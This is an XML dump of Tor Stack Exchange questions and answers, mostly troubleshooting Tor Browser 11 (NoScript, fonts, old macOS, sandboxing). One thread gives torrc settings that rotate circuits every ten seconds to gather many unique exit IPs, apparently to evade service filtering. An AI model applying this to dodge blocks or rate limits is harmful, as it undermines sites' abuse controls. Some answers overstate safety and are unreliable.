  <row Id="22858" PostTypeId="1" CreationDate="2021-11-09T16:30:35.347" Score="1" ViewCount="345" Body="&lt;p&gt;Update #2&lt;/p&gt;&#xA;&lt;p&gt;After Disabling the &amp;quot;HTTPS Everywhere&amp;quot; Extension I was unable to remove it.&lt;/p&gt;&#xA;&lt;p&gt;So I deleted the TOR folder and downloaded the latest version (11) and reinstalled it to a new location.&lt;/p&gt;&#xA;&lt;p&gt;Once again NoScript would not work and once again the HTTPS Everywhere extension is installed and I cannot remove it. Disabling it does once more cause NoScript to start working normally again.&lt;/p&gt;&#xA;&lt;p&gt;Quesion #1 Why is the &amp;quot;HTTPS Everywhere&amp;quot; extension automatically installed?&lt;/p&gt;&#xA;&lt;p&gt;Question #2 Does enabling &amp;quot;HTTPS-Only Mode&amp;quot; in the security settings work without the extension enabled?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;Update #1: After digging through the security settings I changed a few&#xA;things and the issue is gone.&#xA;&#xA;#1 Settings &amp;gt; Privacy and Security &amp;gt; HTTPS-Only Mode.&#xA;&#xA;I've never seen this before and it was set to &amp;quot;Don't Enable&amp;quot;. I've&#xA;always used the &amp;quot;HTTPS Everywhere&amp;quot; extension with TOR.&#xA;&#xA;I changed the setting to &amp;quot;Enable in all windows&amp;quot; and then Disabled the Extension and restarted the browser. &#xA;&#xA;NoScript is functioning normal now.&#xA;&#xA;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&#xA;&#xA;Original Post:&#xA;&#xA;Title says it. I just installed the V11 update to the TOR browser and&#xA;NoScript is no longer functioning as in it no longer blocks any&#xA;scripts.&#xA;&#xA;After installing I had the same &amp;quot;missing bookmarks&amp;quot; bug I had when I&#xA;updated my regular Firefox ESR.&#xA;&#xA;I followed the same steps I did for Firefox, deleting the&#xA;&amp;quot;favicons.sqlite&amp;quot; and &amp;quot;places.sqlite&amp;quot; files in my profile folder then&#xA;rebooting my PC.&#xA;&#xA;That restored my bookmarks and then I noticed noscript was no longer&#xA;working in TOR. (It is still working in Firefox ESR)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16103" LastEditorUserId="16103" LastEditDate="2021-11-09T17:51:12.970" LastActivityDate="2021-11-09T17:51:12.970" Title="NoScript stopped working after update to 11 (UnSolved)" Tags="|update|noscript|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22859" PostTypeId="2" ParentId="20411" CreationDate="2021-11-09T17:53:03.730" Score="0" Body="&lt;p&gt;@JSEvans is right on the money .&lt;/p&gt;&#xA;&lt;p&gt;Open &lt;code&gt;System Preferences&lt;/code&gt; &amp;gt; &lt;code&gt;Security &amp;amp; Privacy&lt;/code&gt; &amp;gt; &lt;code&gt;General&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;There should be an option to &lt;code&gt;allow&lt;/code&gt; the installer to proceed at the bottom of that page.  Click the lock in the bottom left, enter your password, and click &lt;code&gt;allow&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Be sure to go to system preferences immediately after you get the error message - if you wait too long the aforementioned &amp;quot;allow&amp;quot; option will disappear.&lt;/p&gt;&#xA;&lt;p&gt;plz upvote so I can make this a comment in the future! :D thx&lt;/p&gt;&#xA;" OwnerUserId="32395" LastActivityDate="2021-11-09T17:53:03.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22863" PostTypeId="2" ParentId="19898" CreationDate="2021-11-10T03:06:31.110" Score="0" Body="&lt;p&gt;The Firefox cache is disabled on the TOR Browser by default, so no files will be written when browsing the web, all is stored on the RAM temporary.&lt;/p&gt;&#xA;&lt;p&gt;However, your OS can move the RAM into a RAM swap file like &lt;code&gt;pagefile&lt;/code&gt;, thus leaving traces of the unencrypted data that was used in the TOR browser. Obviously this data has stricter permission rules so other applications cannot simply access it, but it's technically there.&lt;/p&gt;&#xA;&lt;p&gt;It's much better to use TOR in a dedicated encrypted VM.&lt;/p&gt;&#xA;" OwnerUserId="32453" LastActivityDate="2021-11-10T03:06:31.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22866" PostTypeId="1" AcceptedAnswerId="22871" CreationDate="2021-11-10T21:48:18.087" Score="1" ViewCount="297" Body="&lt;p&gt;I am running Fedora 35 Workstation.&lt;/p&gt;&#xA;&lt;p&gt;With Tor Browser 10.x everything was fine.&lt;/p&gt;&#xA;&lt;p&gt;After update to Tor Browser 11.0, Tor Browser displays the tofu substitute characters in all places instead of the actual characters.&lt;/p&gt;&#xA;&lt;p&gt;This is how I see the settings menu:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LC3oW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LC3oW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31529" LastActivityDate="2021-11-12T16:06:28.947" Title="Tor Browser always display substitute tofu character after update" Tags="|tor-browser-bundle|browsers|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22867" PostTypeId="2" ParentId="22866" CreationDate="2021-11-11T05:09:35.483" Score="0" Body="&lt;p&gt;I've seen similar results on Fedora 34.&lt;/p&gt;&#xA;&lt;p&gt;This &lt;em&gt;may&lt;/em&gt; be the same issue reported &lt;a href=&quot;https://forum.torproject.net/t/ui-broke-after-updating/535&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the Tor support forums&lt;/a&gt;, which is also being tracked &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40690&quot; rel=&quot;nofollow noreferrer&quot;&gt;in their issue tracker&lt;/a&gt;.  I'm seeing the same tofu substitute characters you are, but also the &amp;quot;enlarged tabs&amp;quot; shown in the first screenshot in the forum post:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FjWBT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FjWBT.png&quot; alt=&quot;enlarged tabs&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;...which is what makes me think the two are related.&lt;/p&gt;&#xA;&lt;p&gt;It looks like a fix is coming soon, according to that issue.&lt;/p&gt;&#xA;" OwnerUserId="33594" LastActivityDate="2021-11-11T05:09:35.483" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22868" PostTypeId="2" ParentId="22866" CreationDate="2021-11-11T19:35:43.503" Score="0" Body="&lt;p&gt;checking and unchecking &lt;code&gt;“Always use private browsing mode”&lt;/code&gt;, as suggested in that support link doesn't help.  I tried both ways, I tried to remove tor, and remove all user settings, but no luck.&lt;br /&gt;&#xA;Using Fedora 35&lt;/p&gt;&#xA;" OwnerUserId="33599" LastActivityDate="2021-11-11T19:35:43.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22869" PostTypeId="1" CreationDate="2021-11-12T02:08:12.967" Score="-2" ViewCount="113" Body="&lt;p&gt;I'm on a Mac 10.11.6&#xA;I used to work with TOR and BRAVE.&#xA;Brave got worse with every update, so I dumped it and changed to Firefox.&#xA;Now it was TOR's time to hit on me. Automatically updated itself but then telling me this TOR version can't be used wiht my Mac version.&#xA;So why update then?&lt;/p&gt;&#xA;&lt;p&gt;I can't update my Mac version because of my Macbook age. I don't buy a new Mac just to be able to use TOR.&lt;/p&gt;&#xA;&lt;p&gt;I appreciate their work but I disagree with their &amp;quot;Tyrant&amp;quot; attitude to rule over my finances and hardware and what I can and can't do. This shall be MY decision, not anyone's Tech Guru.&lt;/p&gt;&#xA;&lt;p&gt;Now I downloaded an older version of TOR and been told Firefox Prevents ...something with proxy settings.&lt;/p&gt;&#xA;&lt;p&gt;As a starter, I never 'Touched' any proxy settings.&lt;/p&gt;&#xA;&lt;p&gt;Is there anyone who can shed some sensible light on this or am I just set out to life with tyranny or else, die off.&lt;/p&gt;&#xA;&lt;p&gt;Nice one.&lt;/p&gt;&#xA;&lt;p&gt;And where is the difference between tyrant governments and 'Supposed to be' technology to keep us safe from tyranny by imposing THEIR tyranny upon us?&lt;/p&gt;&#xA;&lt;p&gt;If you feel I'm ranting, don't be afraid to put yourself into my position for a moment, it may help understand; Not everybody is financially LOADED to just upgrade every 5 months to more expensive equipment or else be doomed to be dumped. That kinda 'social attitude' is responsible why we are at the point where we are, anyway!&lt;/p&gt;&#xA;" OwnerUserId="33600" LastActivityDate="2021-11-15T22:02:40.007" Title="Absolute Browser Fiasco" Tags="|mac|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22870" PostTypeId="1" CreationDate="2021-11-12T07:10:29.513" Score="0" ViewCount="757" Body="&lt;p&gt;After upgrading from Win10Home to Win10Pro on two PC and updating Tor, Tor still keeps working only on one of them.&#xA;On the second one, instead of working during startup, Tor displays the message:&#xA;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.&lt;/p&gt;&#xA;&lt;p&gt;Other symptoms:&#xA;Never seen before – the browser works with freezing during navigation if try to enter the tor options (or press 'Tor Network Settings');&#xA;I can't either enter the tor options (via 'Tor' in the sidebar), therefore I can't see any logs.&lt;/p&gt;&#xA;&lt;p&gt;The torrc file is empty (as is by default).&#xA;Trying to stop/remove tor services, reinstallations, and such don't solve or affect the problem.&#xA;As mentioned, I can't enter the tor menu, the other options are still available though.&lt;/p&gt;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, after the current tor and windows updates, the issue has been fixed itself.&lt;/p&gt;&#xA;" OwnerUserId="33601" LastEditorUserId="33601" LastEditDate="2021-11-19T15:00:08.170" LastActivityDate="2021-11-19T15:00:08.170" Title="Tor exited during startup on Windows 10 Pro" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22871" PostTypeId="2" ParentId="22866" CreationDate="2021-11-12T16:06:28.947" Score="2" Body="&lt;p&gt;Found working solution (at least for Fedora 35) &lt;br&gt;&#xA;go into font.config file line 37&#xA;in the home folder &lt;br&gt;&#xA;&lt;code&gt;~/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Data/fontconfig/fonts.conf&lt;/code&gt; &lt;br&gt;&#xA;and substitute &lt;br&gt;&#xA;&lt;code&gt;&amp;lt;dir&amp;gt;fonts&amp;lt;/dir&amp;gt;&lt;/code&gt; &lt;br&gt;&#xA;for &lt;br&gt;&#xA;&lt;code&gt;&amp;lt;dir prefix=&amp;quot;relative&amp;quot;&amp;gt;fonts&amp;lt;/dir&amp;gt;&lt;/code&gt; &lt;br&gt;&#xA;and start Tor browser again and it will display normal characters. &lt;br&gt;&#xA;For other distros or Windoze just search for the &lt;code&gt;TorBrowser/Data/fontconfig&lt;/code&gt; folder to find font.config file in the user's folder and should be fine.&lt;/p&gt;&#xA;" OwnerUserId="33599" LastActivityDate="2021-11-12T16:06:28.947" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22873" PostTypeId="1" AcceptedAnswerId="22875" CreationDate="2021-11-13T04:52:16.857" Score="-1" ViewCount="119" Body="&lt;p&gt;I was reading an article on how TOR has NAT piercing properties and I need to ask please:&lt;/p&gt;&#xA;&lt;p&gt;What is NAT piercing (in relation to the TOR network) and how does NAT piercing help the TOR network.&lt;/p&gt;&#xA;&lt;p&gt;And also, is NAT piercing the same as NAT punching? I see NAT punching come up in search results when I search for NAT piercing&lt;/p&gt;&#xA;" OwnerUserId="33595" LastActivityDate="2021-11-13T19:03:38.643" Title="NAT PIERCING IN TOR" Tags="|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22874" PostTypeId="2" ParentId="22869" CreationDate="2021-11-13T18:29:59.623" Score="0" Body="&lt;p&gt;I can sympathize with your frustration, but MacOS 10.11 is &lt;em&gt;extremely&lt;/em&gt; old (over five years, which is centuries in computer years) so you should expect that many programs will start breaking when you update them.&lt;/p&gt;&#xA;&lt;p&gt;The Tor developers simply don't have the resources to maintain a version of their software that works with every arbitrary previous OS release across all platforms. In part this is because Tor Browser is based on Firefox, and Firefox 91 probably won't run on your machine either. But Tor Browser recently updated to V11.0 and so it would be a big security risk to try to run older versions in perpetuity.&lt;/p&gt;&#xA;&lt;p&gt;If you still want to try getting the old version to run, you can perhaps find out more about your proxy issue by &lt;a href=&quot;https://tb-manual.torproject.org/troubleshooting/&quot; rel=&quot;nofollow noreferrer&quot;&gt;checking the Tor logs&lt;/a&gt; (though your issue may just be a consequence of trying to use too-old a version of Tor Browser that is incompatible with current protocols).&lt;/p&gt;&#xA;&lt;p&gt;In any case, I think your issue is with Apple and their agenda of &lt;a href=&quot;https://en.wikipedia.org/wiki/Planned_obsolescence&quot; rel=&quot;nofollow noreferrer&quot;&gt;planned obsolescence&lt;/a&gt;, not with Tor.&lt;/p&gt;&#xA;" OwnerUserId="28442" LastActivityDate="2021-11-13T18:29:59.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22875" PostTypeId="2" ParentId="22873" CreationDate="2021-11-13T19:03:38.643" Score="0" Body="&lt;p&gt;&amp;quot;NAT piercing&amp;quot; aka &amp;quot;UPNP punching&amp;quot; is the way to open a port on a NAT router to be forwarded back to you. It needs an &amp;quot;upnp-helper&amp;quot; that can be configured inside the &lt;code&gt;torrc&lt;/code&gt; config. The original upnp-helper is still available in a source code, but iy's a &lt;strong&gt;way too obsolete&lt;/strong&gt;. My advice to you - make a static IP+port mapping, it works &lt;em&gt;just fine&lt;/em&gt;, but if you're explicitly needing the piercing functionality - make your own helper, running as an &lt;em&gt;independent&lt;/em&gt; service&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-13T19:03:38.643" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22876" PostTypeId="2" ParentId="22869" CreationDate="2021-11-13T19:07:55.633" Score="0" Body="&lt;p&gt;The OS you're using &lt;strong&gt;is&lt;/strong&gt; old, but - you have to use a source builds: make a VM with a recent FreeBSD or Debian and route it though another VM with Tor - and, yes, it will be a &lt;strong&gt;bulletproof-safe&lt;/strong&gt; solution&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-13T19:07:55.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22878" PostTypeId="2" ParentId="22869" CreationDate="2021-11-15T15:37:50.133" Score="0" Body="&lt;p&gt;I'm in the same boat with 10.11.6 and macbook pro that won't run the latest OSX. Whilst this hardly comes into the realms of 'tyranny' it does fall under the term annoying.&lt;/p&gt;&#xA;&lt;p&gt;The answer from Alexey about VM and things goes straight over my head. Is it not possible to simply instal the previous version of Tor? I can find no pages for legacy versions.&lt;/p&gt;&#xA;&lt;p&gt;Cheers all, Nick&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;edit - reached out to torproject.org who directed me to this download page. reinstalled the older version, switched off auto-updates, sorted: &lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/10.5.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.torproject.org/tor-package-archive/torbrowser/10.5.1&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="33620" LastEditorUserId="33620" LastEditDate="2021-11-15T22:02:40.007" LastActivityDate="2021-11-15T22:02:40.007" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22879" PostTypeId="2" ParentId="22857" CreationDate="2021-11-15T15:59:04.940" Score="0" Body="&lt;p&gt;It turns out the problem was known &lt;a href=&quot;https://blog.torproject.org/new-release-tor-browser-11-0&quot; rel=&quot;nofollow noreferrer&quot;&gt;and listed&lt;/a&gt; in the Tor blog, and also had a &lt;a href=&quot;http://eweiibe6tdjsdprb4px6rqrzzcsi22m4koia44kc5pcjr7nec2rlxyad.onion/tpo/applications/tor-browser/-/issues/40690&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug report&lt;/a&gt;. The newest update to 11.0.1 seems to have fixed the problem (at the very least I haven't noticed any adverse effects).&lt;/p&gt;&#xA;" OwnerUserId="8164" LastActivityDate="2021-11-15T15:59:04.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22880" PostTypeId="2" ParentId="22799" CreationDate="2021-11-16T16:48:34.353" Score="0" Body="&lt;p&gt;For convenience you could use &lt;a href=&quot;https://firejail.wordpress.com/documentation-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firejail&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;3.1 Private Mode&lt;/p&gt;&#xA;&lt;p&gt;Private mode is a quick way to hide all the files in your home&#xA;directory from sandboxed programs. Enable it using --private command&#xA;line option:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ firejail –private firefox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Firejail mounts a temporary tmpfs filesystem on top of /home/user&#xA;directory. Any files created in this directory will be deleted when&#xA;you close the sandbox. You can also use an existing directory as home&#xA;for your sandbox, allowing you to have a persistent home:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ firejail –private=~/my_private_dir firefox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If you already have an instance of Firefox running you can do this to test:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;firejail --private firefox -no-remote&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For the Tor browser you just need to adjust the executable path accordingly.&lt;/p&gt;&#xA;" OwnerUserId="33563" LastActivityDate="2021-11-16T16:48:34.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22883" PostTypeId="1" CreationDate="2021-11-18T19:00:17.940" Score="0" ViewCount="4210" Body="&lt;p&gt;When I login using vncviewer to vnc server it doesn't give me a user name in the login prompt, just a password.  If I enter the password it won't log me in.  I thought it might have a default username of admin and so only wanted a password, but no luck.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zxcLL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zxcLL.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NmwEm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NmwEm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33637" LastEditorUserId="33637" LastEditDate="2021-11-18T20:10:40.593" LastActivityDate="2023-02-24T08:55:40.013" Title="realvnc viewer login username grayed out" Tags="|configuration|connection|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22884" PostTypeId="1" CreationDate="2021-11-19T19:34:07.827" Score="0" ViewCount="59" Body="&lt;p&gt;Quotations from the changelog:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Bug 40059: YEC activist sign empty in &lt;code&gt;about:tor&lt;/code&gt; on RTL locales&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Bug 40383: Workaround issue in https-e wasm&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I assume this has something to do with Tor Browser localization in languages that are read and written from right to left and &amp;quot;...-e&amp;quot; could stand for &amp;quot;experimental&amp;quot; or &amp;quot;enhanced&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Wikipedia has no clue and Tor Browser User Manual is lacking a Search feature.&lt;/p&gt;&#xA;" OwnerUserId="33642" LastEditorUserId="33646" LastEditDate="2021-12-12T20:35:25.123" LastActivityDate="2022-01-11T22:00:25.050" Title="What are &quot;YEC&quot; and &quot;https-e&quot; mentioned in Tor Browser 11.0.1 changelog?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22886" PostTypeId="1" AcceptedAnswerId="22894" CreationDate="2021-11-19T23:58:15.717" Score="0" ViewCount="41" Body="&lt;p&gt;I read a lot about onion routing and I am confused about the following fact on Wikipedia:&#xA;Only the final node, the &amp;quot;exit node&amp;quot;, is able to determine its own location in the chain.&lt;/p&gt;&#xA;&lt;p&gt;In my eyes this does not have to be true. See the following strategy (or ''attempt'') to determine at which position you are in the circuit:&lt;/p&gt;&#xA;&lt;p&gt;Since most of the circuits have only three Tor-nodes + client-node, every node can assume there are four nodes (so our strategy should be possible in most of the cases).&#xA;Let us consider the path 0-&amp;gt;1-&amp;gt;2-&amp;gt;3, where 0 is the client, 1 the entry node, 2 middle node and 3 exit node (the nodes do not know which numbers they have a priori, except for 0 and 3 of course).&lt;/p&gt;&#xA;&lt;p&gt;IDEA: Every node counts how many data packages are received from the previous ip-adress.&lt;/p&gt;&#xA;&lt;p&gt;Now the client 0 has to build a connection with the first node 1 (which a priori does not know that the previous node 0 is the client). So the client 0 sends his encrypted key. Now the entry node 1 raises his counter by 1 (assuming the key is always encrypted into the same length of packages - is that true?? Without loss of generality this length is = 1). Then the client 0 sends his second encrypted key via the entry node 1 to the middle node 2. So the entry node has counter = 2 and middle node has counter = 1 (again assuming the same as above). Now the same for the exit node. We get the counters 3, 2 and 1 in this order.&#xA;But now, we are sending our request for the webpage, which should be a stream of data packages, so the nodes can see there is some kind of big jump between the length of packages. At this point they should now: ok, the packages before were only for receiving the keys. Since my counter is n € {1,2,3}, I am node 4-n. So node 1 knows that the previous node is indeed the client!!&lt;/p&gt;&#xA;&lt;p&gt;Is there any mistake in my algorithm to determine the position of the nodes??&lt;/p&gt;&#xA;&lt;p&gt;PS: I am aware, that there are much more clients and every node may be another node in another circuit, but the above algorithm is should stay true, since they are counting the packages from one specific ip-adress (the previous one).&lt;/p&gt;&#xA;" OwnerUserId="33643" LastActivityDate="2021-11-21T22:48:54.263" Title="Gap - Counting number of packages to determine client?" Tags="|exit-relays|directory|protocol|attacks|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22887" PostTypeId="1" CreationDate="2021-11-20T06:59:01.520" Score="0" ViewCount="35" Body="&lt;p&gt;Hello I'm creating my own private tor network for me and my friends but I was wondering does anyone know where I can find the source code of the tor metric site? It would be really nice if I could see how my nodes are doing instead of having to look at a command line&lt;/p&gt;&#xA;" OwnerUserId="33645" LastActivityDate="2021-12-22T00:03:20.290" Title="Finding source code of the Tor metrics site" Tags="|directory|consensus|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22889" PostTypeId="2" ParentId="22884" CreationDate="2021-11-20T20:35:36.337" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;'YEC' stands for the &lt;a href=&quot;https://blog.torproject.org/privacy-is-a-human-right/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Year-end campaign&lt;/a&gt;, which is Tor Project's year end fundraiser.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;'https-e' stands for HTTPS Everywhere extension that comes bundled with Tor Browser (see: &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/40383&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/40383&lt;/a&gt; for more details on the bug).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31025" LastActivityDate="2021-11-20T20:35:36.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22891" PostTypeId="2" ParentId="22819" CreationDate="2021-11-21T11:16:47.903" Score="0" Body="&lt;p&gt;Could you check your &lt;code&gt;/etc/hosts&lt;/code&gt; for entry starting with &lt;code&gt;::1&lt;/code&gt; for localhost?&lt;/p&gt;&#xA;&lt;p&gt;If you have it, please try:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can also try adding SOCKS port listening on &lt;code&gt;::1&lt;/code&gt; address to your torrc:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort [::1]:9050 IsolateDestAddr IsolateDestPort&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2021-11-21T11:16:47.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22892" PostTypeId="2" ParentId="22887" CreationDate="2021-11-21T21:52:07.177" Score="0" Body="&lt;p&gt;Well, you better use - actually - the original network, sharding &lt;strong&gt;is&lt;/strong&gt; the key to vulnerability. You can make a VPN hop-network to yourselves, which is an easy task for OpenVPN, but you will be protected by the number of nodes. If you're making a separate network - you'll still be vulnerable to the nature of the Directory Services. If you need more info - just drop me a line!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-21T21:52:07.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22893" PostTypeId="2" ParentId="22887" CreationDate="2021-11-21T22:22:53.230" Score="0" Body="&lt;p&gt;The Tor Metrics website and related repositories can be found at &lt;a href=&quot;https://gitlab.torproject.org/tpo/network-health/metrics&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/network-health/metrics&lt;/a&gt;, but there are a lot of pieces involved in making it run. For example the data collection is separate from the website itself. It would probably be fairly complicated to get all of the Tor Metrics website running for a private network.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-11-21T22:22:53.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22894" PostTypeId="2" ParentId="22886" CreationDate="2021-11-21T22:48:54.263" Score="0" Body="&lt;p&gt;This page on wikipedia cites the &lt;a href=&quot;https://www.onion-router.net/Publications/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;original tor paper&lt;/a&gt;, and I don't remember the tor paper ever making that claim. So I would not trust this wikipedia article for accuracy.&lt;/p&gt;&#xA;&lt;p&gt;To answer your question, yes, in the current Tor network any relay can determine it's position in the circuit since all client Tor circuits have only three relays. Your method above might work, but in practice it's even easier. If a relay is asked to open a stream to a server outside of the Tor network, the relay knows it's in the exit position of the circuit. If the relay receives a new connection from a client (clients are distinguishable during the connection handshake), the relay knows it's in the entry position of the circuit. Otherwise, the relay must be in the middle position of the circuit. If you're interested in this topic, it's also briefly mentioned in the last paragraph of section 5.4 in the &lt;a href=&quot;https://www.usenix.org/system/files/sec20-komlo.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;walking onions paper&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If circuits were longer than 3 hops, then relays could try to use counting and timing information like in your post.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-11-21T22:48:54.263" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22895" PostTypeId="1" CreationDate="2021-11-22T11:59:18.587" Score="0" ViewCount="152" Body="&lt;p&gt;I am currently using one TOR browser and get on average 722 unique different IPs per day.&lt;/p&gt;&#xA;&lt;p&gt;I use &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; 10 which gives me a new circuit/IP every 10 seconds.&lt;/p&gt;&#xA;&lt;p&gt;Next I set up a second tor browser where I set &amp;quot;&lt;code&gt;excludenodes&lt;/code&gt;&amp;quot; and excluded the most common countries to also get the &amp;quot;slower&amp;quot; exit nodes as well, most used/fastest countries are for me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeExitNodes {de},{us},{nl},{se},{ch},{pl},{fi},{ro},{fr},{at},{dk},{ca},{gb},{uk},{no},{hu},{??}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What else can I do to get the full range of exit nodes? I read there are between 1000-6000 exit nodes?&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="33657" LastActivityDate="2021-12-22T22:05:50.627" Title="How to get as many new unique IPs as possible?" Tags="|tor-browser-bundle|configuration|windows|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22896" PostTypeId="2" ParentId="22895" CreationDate="2021-11-22T21:29:09.060" Score="0" Body="&lt;p&gt;well, you &lt;em&gt;should&lt;/em&gt; consider using a paid GeoIP database to be more effective in your project, but - after all - it will not improve you significantly. Keep in mind that lame services will/are &lt;em&gt;filter you out&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-11-22T21:29:09.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
